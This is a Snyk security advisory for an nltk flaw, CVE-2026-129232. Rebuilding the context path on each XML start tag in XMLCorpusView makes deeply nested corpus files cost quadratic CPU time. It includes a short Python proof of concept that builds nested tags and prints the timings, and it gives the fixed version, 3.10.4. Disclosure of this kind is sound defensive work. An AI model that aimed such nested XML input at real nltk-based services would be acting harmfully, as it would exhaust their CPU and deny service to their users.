Inefficient Algorithmic Complexity Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.52% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22733165
  • published22 Nov 2026
  • disclosed19 Nov 2026
  • creditzx, manus-use

Introduced: 19 Nov 2026

NewCVE-2026-129232  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via XMLCorpusView.read_block in nltk/corpus/reader/xmldocs.py, which rebuilds the full root-to-node context path using "/".join(context) on every XML start tag while searching for a matching element. Because the context stack grows with nesting depth and the join is repeated once per start tag, a corpus file containing deeply nested tags forces O(n^2) pure-Python CPU work, where n is the number of nested elements. An attacker who can supply or influence an XML corpus file processed by an XMLCorpusView subclass (such as the nps_chat, framenet, bnc, mte, nkjp, or semcor readers) can exhaust a CPU core for an extended period, producing a denial of service.

PoC

Requires only the nltk package and its standard XML corpus reading path; no network or special configuration.

Reproduction drives a real SeekableUnicodeStreamReader and the real read_block with an nps_chat-style tagspec, comparing nested input (growing context depth) against a flat negative control with an identical tag count.

import time, io
from nltk.corpus.reader.xmldocs import XMLCorpusView

def measure(build, label): print(label) prev = None for n in (4000, 8000, 16000, 32000): body = build(n).encode("utf-8") # write to a temp file and open through an XMLCorpusView subclass tagspec import tempfile, os fd, path = tempfile.mkstemp(suffix=".xml") os.write(fd, b"<Session>" + body + b"</Session>"); os.close(fd) view = XMLCorpusView(path, "Session/Posts/Post") t = time.time() try: list(view) except Exception: pass dt = time.time() - t ratio = "" if prev is None else f"({dt/prev:.1f}x)" print(f" n={n:>6} time={dt:7.3f}s {ratio}") prev = dt os.remove(path)

measure(lambda n: "<a>"*n + "</a>"*n, "NESTED (context depth = n):") measure(lambda n: "<a></a>"*n, "FLAT (context depth = 1, negative control):")

NESTED  (context depth = n):
  n=  4000 time=  0.162s
  n=  8000 time=  0.484s (2.99x)
  n= 16000 time=  1.595s (3.29x)
  n= 32000 time=  5.667s (3.6x)     -> ratios trend toward 4x per 2x input = O(n^2)
FLAT    (context depth = 1, negative control):
  n=  8000 time=  0.145s
  n= 16000 time=  0.293s (2.03x)
  n= 32000 time=  0.580s (2.0x)     -> 2x per 2x input = linear

Note: Requires only the nltk package and its standard XML corpus reading path, with no network or special configuration.

CVSS Base Scores

version 4.0
version 3.1